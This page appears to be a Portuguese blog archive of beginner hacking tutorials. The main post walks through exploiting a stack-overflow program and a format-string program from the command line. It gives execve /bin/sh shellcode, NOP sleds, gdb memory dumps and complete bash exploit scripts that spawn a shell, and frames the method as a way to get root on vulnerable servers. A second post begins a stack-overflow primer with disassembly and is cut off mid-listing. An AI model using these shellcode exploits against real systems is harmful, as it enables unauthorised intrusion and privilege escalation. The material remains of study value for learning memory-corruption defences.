Arquivo da categoria ‘shellcode’

Este texto foi escrito para newbies, então se você for elite ou se considera um, aconselho a não perder seu tempo lendo!

----[ ENTENDENDO ÀS NECESSIDADES ]----

    Não presisar de um exploit para conseguir root em um sistema! Isso soa bastante, hacker não é? Mais isso não precisa ser uma questão de luxo, mas também
pode ser uma necessídade e até mesmo a única solução. Vamos ver um exemplo não real:
    - Você consegue achar um "importante" servidor vulnerável a alguma falha de CGI ou qualquer outra coisa que permita que você execute comandos. Você tenta baixar um backdoor para se conectar por telnet e não consegue pois não tem permição para executar os programa que poderiam ser usados para download(wget, lynx, GET, etc). Mais você ve que o sistema possúi um programa de mail bem antigo que esta com uma falha de stack overflow das mais simples. Você poderia tentar escrever um exploit somente o comando "echo"(imprimir em tela, igual ao “printf”) mais percebe que depois de pronto você não pode compila-lo! E então o que você faz? Esquece esse servidor e vai durmir? Negativo! Você esplora essa falha via linha de comando. Esse é o objetivo deste texto.

----[ PRIMEIRO PROGRAMA BUGADO (STACK OVERFLOW) ]----

    Veja o seguinte programa vulnerável:

==========[ stack_vuln.c ]==========
/*
    Este é um Simples programa vulnerável a stack overflow, porem programas conhecidos também tem este tipo de parâmetros. Portanto, são vulneráveis do mesmo jeito. E deverá ser exploitado via linha de
    comando ou shellscript!
    */

#include <stdio.h>

int main(int argc, char *argv[], char *env[]) {
    char buffer[256];

    if (argc < 2) {
        printf ("Use: %s <frase>\n\n", argv[0]);
        exit(0);
    }

    strcpy(buffer, argv[1]);

    printf ("Voce digitou: %s\n", buffer);
}
===================================

se você sabe programar em C e sabe construir exploits para Stack
Overflow deve saber muito bem que esse é o exemplo mais simples de exploitação de pilha. Mais nós precisamos de alguns dados para podermos exploita-lo. O primeiro é aonde exatamente o bufer estoura e o segundo é aonde nós podemos inserir dados na memória para pegarmos o endereço! Para saber aonde o buffer estoura basta ir testando:

--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ gcc stack_vuln.c -o stack_vuln
newbie@localhost:~$ gdb stack_vuln
...
(gdb) r `perl -e 'print "A"x270'`
Starting program: ./stack_vuln `perl -e 'print "A"x270'`
Voce digitou: AAAAAAAAAAAAA...

Program received signal SIGSEGV, Segmentation fault.
0x40004141 in _dl_dst_substitute () from /lib/ld-linux.so.2
(gdb) r `perl -e 'print "A"x272'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: ./stack_vuln `perl -e 'print "A"x272'`
Voce digitou: AAAAAAAAAAAAAA...

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) r `perl -e 'print "A"x268 . "\x78\x56\x34\x12"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: ./stack_vuln `perl -e 'print "A"x268 . "\x78\x56\x34\x12"'`
Voce digitou: AAAAAAAAAAAAAAAA...

Program received signal SIGSEGV, Segmentation fault.
0x12345678 in ?? ()
(gdb)
--- --- --- --- --- --- --- --- --- ---

Bem. Agora nós já sabemos que nós teremos que colocar o novo endereço de retorno exatamente depois de 268 bytes do argumento. Agora nós precisamos de achar algum lugar da memória para colocar-mos nossos nops e nosso shellcode! Já que nós iremos colocar 268 A's no argumento, poderiamos em vez de colocar isso colocar nosso buffer com os nops e o shellcode.

    Usaremos o seguinte shellcode de execve /bin/sh:
---
\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b
\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd
\x80\xe8\xdc\xff\xff\xff/bin/sh
---

    Agora precisamos de encher os 268 bytes que temos com esse shellcode e o restante com os nops. Para isso vamos calcula o tamanho desse sc:

--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ perl -e 'print length("\xeb\x1f\x5e\x89\x76\x08\x31\xc0
\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31
\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh") . "\n"'
45
newbie@localhost:~$
--- --- --- --- --- --- --- --- --- ---

    Pronto! Temos 45 bytes para o shellcode e teremos que colocar 223(268 - 45)
NOPs como resto. Então nosso parametro deve ficar algo como:

0                                      223                   268    272
 -------------------------------------------------------------------
| NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN | SSSSSSSSSSSSSSSSSS | RRRR |
 -------------------------------------------------------------------

    Onde:
    N = NOP (0x90)
    S = nosso shellcode
    R = Novo Endereco Retorno que temos que achar ainda

    Repare que o endereço de retorno é o mesmo endereço de argv[1]. Então vamos fazer ele apontar para alguns dos nops simplesmente achando aonde estão os nops na memória:

--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ gdb stack_vuln
GNU gdb 6.0
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...
(gdb) br main
Breakpoint 1 at 0x80483cd
(gdb) r `perl -e 'print "\x90"x223 . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46
\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8
\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" . "\x78\x56\x34\x12"'`
Starting program: ./stack_vuln `perl -e 'print "\x90"x223 . "\xeb\x1f\x5e\x89
\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c
\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" .
"\x78\x56\x34\x12"'`

Breakpoint 1, 0x080483cd in main ()
(gdb) x/400x %esp
A parse error in expression, near `%esp'.
(gdb) x/400x $esp
0xbffff1f0:     0x40015700      0x40014d80      0x4001512c      0x08048215
0xbffff200:     0xbffff2b0      0x40006b6f      0x08048215      0x0177ff8e
0xbffff210:     0x08048188      0xbffff260      0x400150e0      0x00000001
.....
0xbffff4b0:     0x6e6c7576      0x90909000      0x90909090      0x90909090
0xbffff4c0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff4d0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff4e0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff4f0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff500:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff510:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff520:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff530:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff540:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff550:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff560:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff570:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff580:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff590:     0x90909090      0x895e1feb      0xc0310876      0x89074688
.....
0xbffff5b0:     0xcd40d889      0xffdce880      0x622fffff      0x732f6e69
0xbffff5c0:     0xfff68068      0x504300bf      0x5f53554c      0x4c434e49
0xbffff5d0:     0x5f454455      0x48544150
(gdb)
--- --- --- --- --- --- --- --- --- ---

Achamos aonde nossos nops ficaram + ou - de 0xbfffedb0 até 0xbfffee80. Então basta colocar-mos o programa para saltar para alguma dessas posições de memória para ele ir executando os nops até chegar ao nosso shellcode. Aconselho a colocar bem no meio dos nops. Vejamos se funciona colocando ele para saltar para a posição 0xbffff550:

--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~/tecnicas/expl_ln_cmd$ ./stack_vuln `perl -e 'print "\x90"x223 .
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d
\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff
\xff/bin/sh" . "\x50\xf5\xff\xbf"'`
Voce digitou: ë^1ÀFF
                    °
                     óV
                       Í1ÛØ@ÍèÜÿÿÿ/bin/shPîÿ¿
sh-2.05b$
--- --- --- --- --- --- --- --- --- ---

Ai esta nossa exploração via linha de comando! Repare que coloque o
endereço de retorno de tráz para frente. Isso porque esse esquema todo esta em uma pilha(veja meu texto sobre stack overflow)!
Conseguimos isso porque colocamos nosso buffer da seguinte maneira:

   0                                       223                  268    272
    -------------------------------------------------------------------
   | NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN | SSSSSSSSSSSSSSSSSS | RRRR |
    -------------------------------------------------------------------

    Fazendo RRRR apontar para dentro dos NOPs(0x90)!

----[ Escrevendo o exploit em shell script ]----

    Não é meu objetivo ensinar shell script neste texto, então segue o código para esse programa anterior em bash script:

==========[ stack_xpl.sh ]==========
#!/bin/sh

##########################################################
# Exploit para programa vulneravel a stack overflow      #
# [ chuck_newbie@hotmail.com ]                           #
##########################################################

# O novo endereco de retonro
export NEW_RET=`printf "\x50\xf5\xff\xbf"`

# Shellcode execve -> /bin/sh
export SHELLCODE=`printf "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46"\
"\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"\
"\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"`

# Nossos 223 NOPs
export NOP=`printf "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90"`

# Agora executamos o programa vulnerável com o argumento maligno
./stack_vuln "$NOP$SHELLCODE$NEW_RET"

========================================

    Vamos testar:
--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ chmod +x stack_xpl.sh
newbie@localhost:~$ ./stack_xpl.sh
Voce digitou: ë^1ÀFF
                    °
                     óV
                       Í1ÛØ@ÍèÜÿÿÿ/bin/shPõÿ¿
sh-2.05b$
--- --- --- --- --- --- --- --- --- ---

Como podemos ver, funciona perfeitamente. Não conheco nenhuma linguagem que não seja possível escrever shellcodes. Se com ela é possível criar uma variável e executar um programa, também é possível escrever exploits!

----[ SEGUNDO PROGRAMA BUGADO (FORMAT STRING) ]----

    Vamos agora ao nosso segundo programa vulnerável a overflow:
==========[ fs_vuln.c ]==========
/*
    Simples programa vulnerável a stack overflow
    com format string.
    Tutorial de exploitação por bash script
*/

#include <stdio.h>

int main(int argc, char *argv[]) {
    char buffer[16];

    if (argc < 2) {
        printf ("Use: %s <string>\n", argv[0]);
        exit(0);
    }

    if (strlen(argv[1]) > 15) {
        printf ("Tentativa de overflow detectada!\nLOGGED!!\n");
        exit(-1);
    }

    sprintf (buffer, argv[1]);
    printf ("Você digitou: %s\n", buffer);
}

=================================

    Bem! Temos dois problemas: O primeiro é que não é possível estourar o buffer passando um paramentro maior do que 15 bytes. E o segundo é que se nós conseguissemos passar não caberia nem nosso shellcode muito menos nossos NOPs e nosso enderço de retorno.

Mais se você perceber, verá que este programa está vulnerável a format
string(veja o texto) então com isso nós já podemos estourar o buffer. Veja:

--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ gcc fs_vuln.c -o fs_vuln
newbie@localhost:~$ ulimit -c 1234567
newbie@localhost:~$ ./fs_vuln %25cDCBA
Você digitou:                         øDCBA
Falha de segmentação (core dumped)
newbie@localhost:~$ gdb -c core
.....
Core was generated by `./fs_vuln %25cDCBA'.
Program terminated with signal 11, Segmentation fault.
#0  0x40040042 in ?? ()
(gdb) q
newbie@localhost:~$ ./fs_vuln %28cDCBA
Você digitou:                            øDCBA
Falha de segmentação (core dumped)
newbie@localhost:~$ gdb -c core
.....
Core was generated by `./fs_vuln %28cDCBA'.
Program terminated with signal 11, Segmentation fault.
#0  0x41424344 in ?? ()
(gdb)
--- --- --- --- --- --- --- --- --- ---

    Com isso nós já sabemos que nosso buffer estoura quando colocamos a string %28c no inicio do parametro, tendo que colocar o novo endereco de retorno ABCD = 0x41424344) logo após! No meu texto sobre Stack Overflow(pode ser encontrado na page do WHCT), eu expliquei como se faz para explorar um buffer pequeno, sujiro que se você não sabe como pegue ele e dê uma boa lida. Mais só pra resumir: Não é necessário que o nosso exploit e nossos NOPs estejam no
argumento do programa vulnerável, basta que ele esteja em alguma parte da memória e então é só fazer-mos o programa vulnerável apontar para ele. Esse lugar da memória geralmente é aonde estão as variáveis de ambiente. Para ficar mais claro veja o seguinte esquema:
--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ export BUFFER=`perl -e 'print "A"x200'`
newbie@localhost:~$ gdb ./fs_vuln
.....
(gdb) br main
Breakpoint 1 at 0x80483fa
(gdb) r lixo
Starting program: ./fs_vuln lixo

Breakpoint 1, 0x080483fa in main ()
(gdb) x/700x $esp
0xbffff458:     0xbffff478      0x40041936      0x00000002      0xbffff4a4
0xbffff468:     0xbffff4b0      0x40014d80      0x00000002      0x08048330
0xbffff478:     0x00000000      0x08048351      0x080483f4      0x00000002
.....
0xbffffdb8:     0x46554200      0x3d524546      0x41414141      0x41414141
0xbffffdc8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffdd8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffde8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffdf8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffe08:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffe18:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffe28:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffe38:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffe48:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffe58:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffe68:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffe78:     0x41414141      0x41414141      0x41414141      0x41414141
.....
0xbfffff18:     0x454d4f48      0x73752f3d      0x696c2f72      0x616a2f62
0xbfffff28:     0x4c006176      0x3d474e41      0x425f7470      0x4f480052
0xbfffff38:     0x2f3d454d      0x656d6f68      0x77656e2f      0x00656962
(gdb)
--- --- --- --- --- --- --- --- --- ---

    Como podemos notar, nós podemos colocar dados na memória para nosso programa
acessar! Então vamos fazer o mesmo que o esquema anterior:
--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ export EGG=`perl -e 'print "\x90"x150 . \
> "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c" . \
> "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb" . \
> "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'`
newbie@localhost:~$
--- --- --- --- --- --- --- --- --- ---

    Com isso nós criamos uma variável de ambiente com 150 NOPs seguido do nosso shellcode. Agora vamos ver aonde ele se encontra na memória de acesso ao nosso programa:
--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~/tecnicas/expl_ln_cmd$ gdb fs_vuln
.....
(gdb) br main
Breakpoint 1 at 0x80483fa
(gdb) r
Starting program: /home/newbie/tecnicas/expl_ln_cmd/fs_vuln

Breakpoint 1, 0x080483fa in main ()
(gdb) x/400x $esp
0xbffff460:     0x080484c0      0xbffff4c4      0xbffff478      0x0804849c
0xbffff470:     0x4015760c      0x40014900      0xbffff498      0x40041936
0xbffff480:     0x00000001      0xbffff4c4      0xbffff4cc      0x40014d80
.....
0xbffff870:     0x7572743d      0x47450065      0x90903d47      0x90909090
0xbffff880:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff890:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff8a0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff8b0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff8c0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff8d0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff8e0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff8f0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff900:     0x90909090      0x90909090      0x90909090      0x90909090
.....
0xbffffa70:     0x7a6c2e2a      0x31303d68      0x3a31333b      0x70722e2a
0xbffffa80:     0x31303d6d      0x3a31333b      0x61742e2a      0x31303d72
0xbffffa90:     0x3a31333b      0x61742e2a      0x31303d7a      0x3a31333b
(gdb) q
The program is running.  Exit anyway? (y or n) y
--- --- --- --- --- --- --- --- --- ---

    Achamos os nossos NOPs. Agora vamos executar nosso programa vulnerável de uma modo que ele salte para dentro dos NOPs e vá executando até chegar ao shellcode, para isso escolhi o endereco 0xbffff8b0. Veja:
--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ ./fs_vuln %28c`perl -e 'print "\xb0\xf8\xff\xbf"'`
Você digitou:                            h°øÿ¿
sh-2.05b$
--- --- --- --- --- --- --- --- --- ---
            Exploitação executada com sucesso! :)

----[ Escrevendo o exploit em shell script ]----

Agora segue o código do exploit para o segundo programa vulnerável a forma string escrito em shell script:

==========[ fs_xpl.sh ]==========
#!/bin/sh

##########################################################
# Exploit para programa vulneravel a format string       #
##########################################################

# O novo endereco de retonro que apontará para os nops
export NEW_RET=`printf "\xb0\xf8\xff\xbf"`

# Shellcode execve -> /bin/sh
export SHELLCODE=`printf \
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46"\x07\x89\x46\x0c\xb0"\
"\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"\xdb\x89\xd8"\
"\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"`

# Aqui temos 150 NOPs(chataum conta isso)
export NOP=`printf \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"`

# Agora executamos o programa vulnerável com o argumento maligno
./fs_vuln "%28c$NEW_RET"

=================================

    Vamos aos textes:
--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ chmod +x fs_xpl.sh
newbie@localhost:~$ ./fs_xpl.sh
Você digitou:                            x°øÿ¿
sh-2.05b$
--- --- --- --- --- --- --- --- --- ---

    Como podemos perceber, não existe segredo algum amigo. Agora é só questão de pratica!

                       ----[ CONCLUINDO ]----

Bem amigo, é possível fazer qualquer coisa se correr atraz. Digo mais uma vez que saber fuçar com shell script não é questão de luxuria mais sim uma necessidade pois o verdadeiro fuçador não constroi coisas pra facilitar, mais trabalha com o que tem em mãos! Existem inumeros metodos a mais de exploitação, talvez até algum que seja mais fácil do que em C ou outra linguagem pois com shell script você interage diretamente com os programas e talz, principalmente falhas em fucões que manipulam arquivos como as que criam arquivos temporários e
essas coisas! Bastando apenas saber armazenar a resposta de um comando, filtrar, passar o resultado para outro comando e por ai vai!

Veja como é possível explorar qualquer programa por linha de comando:
==========[ xtra_vuln.c ]==========
#include <stdio.h>

int main() {
    char nome[20];

    printf("Qual é o seu nome: ");   
    gets(nome);
    printf("Olá %s!!\n\n", nome);
}
===================================

    Agora veja como podemos explora-lo:
--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ gcc xtra_vuln.c -o xtra_vuln
newbie@localhost:~/tecnicas/expl_ln_cmd$ ./xtra_vuln
Qual é o seu nome: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD
Olá xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD!!

Falha de segmentação (core dumped)
newbie@localhost:~/tecnicas/expl_ln_cmd$ gdb -c core
.....
Program terminated with signal 11, Segmentation fault.
#0  0x40004443 in ?? ()
(gdb) q
newbie@localhost:~/tecnicas/expl_ln_cmd$ ./xtra_vuln
Qual é o seu nome: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD
Olá xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD!!

Falha de segmentação (core dumped)
newbie@localhost:~/tecnicas/expl_ln_cmd$ gdb -c core
.....
Program terminated with signal 11, Segmentation fault.
#0  0x44434241 in ?? ()
--- --- --- --- --- --- --- --- --- ---

    já sabemos agora aonde que sobrescreveremos o endereço de retorno! Agora basta fazer o exploit usando o seguinte esquema:
--- ------ --- --- --- --- --- --- ---
newbie@localhost:~$ echo xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD\
> `perl -e 'print "\x78\x56\x34\x12"'` > buffer.bof
newbie@localhost:~$ ./xtra_vuln < buffer.bof
Qual é o seu nome: Olá xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCDxV4!!

Falha de segmentação (core dumped)
newbie@localhost:~/tecnicas/expl_ln_cmd$ gdb -c core
....
Program terminated with signal 11, Segmentation fault.
#0  0x12345678 in ?? ()

(gdb)
--- --- --- --- --- --- --- --- --- ---
 ----[ Fontes ]----
    0ut0fBound            .::. http://0ut0fbound.ath.cx
    Security Focus        .::. http://www.securityfocus.com.br
    Google                .::. http://www.google.com.br

Obs.: Si  alguem tiver lido este tutorial e si enteressou neste assunto… Eu tenho um livro falando sobre isso. Quem quiser, basta mandar um email para mim

Iae galera,

Este tutorial é bem explicativo, de como explorar uma falha em um programa.

Então vamos começar

Stack overflow – esta é uma das técnicas mais fáceis(pelo menos que eu acho).

Não ensinarei a criar shellcodes e essas  coisas,  sei  que  e  relacionado  ao assunto  mais  segue  um  caminho totalmente  diferente com relação  ao  que  eu  quero  passar  para  vocês. Vejam o meu post que eu estou disponibilizando um livro de buffer overflow. Não percam, estou disponibilizando vários livros que eu mesmo estou traduzindo. Dêem uma olhada no blog, e procure sobre alguns dos meus livros.

Introdução

Um processador e formado por uma ULA(Unidade Lógica Aritmética), uma Unidade de Controle e pelos Registradores.

Registradores  são pequenas  áreas da memória(dentro do processador) que servem para armazenar  alguns dados para serem processados para assim não precisar de ficar pegando e tirando dados da memória!  Mais  isso  tem  um  poder  quanto  a  limitação.   Não  pense que esses dados de memórias  chegam  aos  MBytes  muito  menos aos KBytes… estou falando em registradores de alguns Bits.

Isso nos da uma limitação quando nós carregamos um programa… porque não conseguirmos executar todas as instruções sem a perda de alguns dados… Para isso existe a pilha…

A pilha(stack) é uma forma de ampliar a nossa área de atuação…   Ela é uma região da memória que foi separada para armazenar alguns dados do processamento de um programa. Vejamos a utilização de uma função em C:

——————————-

Soma (10, 4);

——————————-

Talves, o processador poderia colocar esses valores nos registradores. mas se fossem numero muito grande ou se o numero que eu quisesse

somar fosse maior que o numero de registradores? Isso ele resolve facilmente…

ele simplesmente empurra (push) esses valores para a pilha… Só que ele não pode

empurrar o 10 e depois o 4 porque a pilha não tem esse nome em vão. Ela tem esse nome justamente porque ela funciona como uma pilha de livros…

Se você colocar um livro em cima da pilha, quando você retirar, você vai tirar o

ultimo que você colocou já que ele esta no topo… Então para processar esses

parâmetros passados e necessários empurrar o 4 e em seguida o 10:

——————————-

push 4

push 10

——————————————————————————————-

Então vamos ao nosso Primeiro programa bugado(vulnerável)

Agora vamos ver como um programa faz para separar uma área de stack para

armazenar um valor! Vamos fazer o seguinte programa em C:

++++++++++++ vuln01.c +++++++++++++++

/*

Primeiro exemplo de programa bugado a stack overflow para o tutoria de Stack Overflow.

Escrito por chuck_newbie, mas em qualquer tutorial e mesma coisa .

chuck_newbie@hotmail.com

*/

#include <stdio.h>

int main(int argc, char *argv[]) {

char buffer[256];

if (argc < 2) {

printf (“Use: %s <string>\n”, argv[0]);

exit(0);

}

strcpy(buffer, argv[1]);

printf (“Você digitou: %s\n”, buffer);

}

++++++++++++++++++++++++++++++++

Esse e um simples programa que separa uma área no stack para armazenar

vários caracteres(no caso foi 256). Em seguida ele pega o primeiro argumento passado

pelo usuário e copia para dentro dessa variável supondo que o usuário não digite

mais que 256.

“Mais que 256”, eu falo isso porque quando você declarou a variável para aceitar até 256 caracteres, o sistema separo espaço no stack para armazenar esse valor..

Então ele disse “essa área vai ser para o variável buffer e ela terá o máximo 256 bytes… ou seja… ninguém mais vai usar ela!” e o resto do sistema não usa esse espaço na memória… mais tem um porem… Ele pode muito bem usar o que tem antes e o que tem depois…

E ele irá usar para armazenar dados importantes para nosso programa.

E se colocar-mos mais, o que aconteceria?

Vamos testar?

————————————-

newbie@hostnotfound:~/técnicas/stack_overflow$ gcc -o vuln01 vuln01.c

newbie@hostnotfound:~/tecnicas/stack_overflow$ ./vuln01

Use:  ./vuln01 <string>

newbie@hostnotfound:~/tecnicas/stack_overflow$ ./vuln01 chuck_newbie

Você digitou: chuck_newbie

newbie@hostnotfound:~/técnicas/stack_overflow$

————————————-

Agora entendeu como ele funciona? Ele simplesmente pega o valor que eu digitei como parâmetro e copia para dentro da variável buffer! Mais veja o seguinte:

————————————-

newbie@hostnotfound:~/técnicas/stack_overflow$ ./vuln01 `perl -e ‘print “A”x300;’`

Você digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Falha de segmentação

newbie@hostnotfound:~/técnicas/stack_overflow$

————————————

Para quem não conhece perl, eu explico; única coisa que eu fiz agora, foi multiplicar o “A” por 300, que o resultado deu trezentos A.

Então, quando eu fiz essa multiplicação, eu mandei esse tanto de “A”, para o programa bugado, e deu erro no nosso programa:

É obvio porque deu ERRO, mais vou explicar. É Porque nós colocamos mais dados no buffer do que ele suportava.

Isso fez com que fosse sobrescrita alguma área de memória importante para o funcionamento do nosso programa.

Essa área nada mais e do que o endereço de retorno da função “strcpy”.

Debugando com o GDB

Vamos usar o programa GDB(GNU Debugger) para saber o que o sistema faz no nosso programa:

——————————–

newbie@hostnotfound:~/tecnicas/stack_overflow$ gdb vuln01

GNU gdb 6.0

Copyright 2003 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type “show copying” to see the conditions.

There is absolutely no warranty for GDB.  Type “show warranty” for details.

This GDB was configured as “i486-slackware-linux”…

———————————-

Agora vamos disassemblar a função main

———————————-

(gdb) disassemble main

Dump of assembler code for function main:

0x080483c4 <main+0>:    push   %ebp

0x080483c5 <main+1>:    mov    %esp,%ebp

0x080483c7 <main+3>:    sub    $0x108,%esp

0x080483cd <main+9>:    and    $0xfffffff0,%esp

0x080483d0 <main+12>:   mov    $0x0,%eax

0x080483d5 <main+17>:   sub    %eax,%esp

0x080483d7 <main+19>:   cmpl   $0x1,0x8(%ebp)

0x080483db <main+23>:   jg     0x80483f7 <main+51>

0x080483dd <main+25>:   sub    $0xc,%esp

0x080483e0 <main+28>:   push   $0x80484f4

0x080483e5 <main+33>:   call   0x80482d0

0x080483ea <main+38>:   add    $0x10,%esp

0x080483ed <main+41>:   sub    $0xc,%esp

0x080483f0 <main+44>:   push   $0x0

0x080483f2 <main+46>:   call   0x80482e0

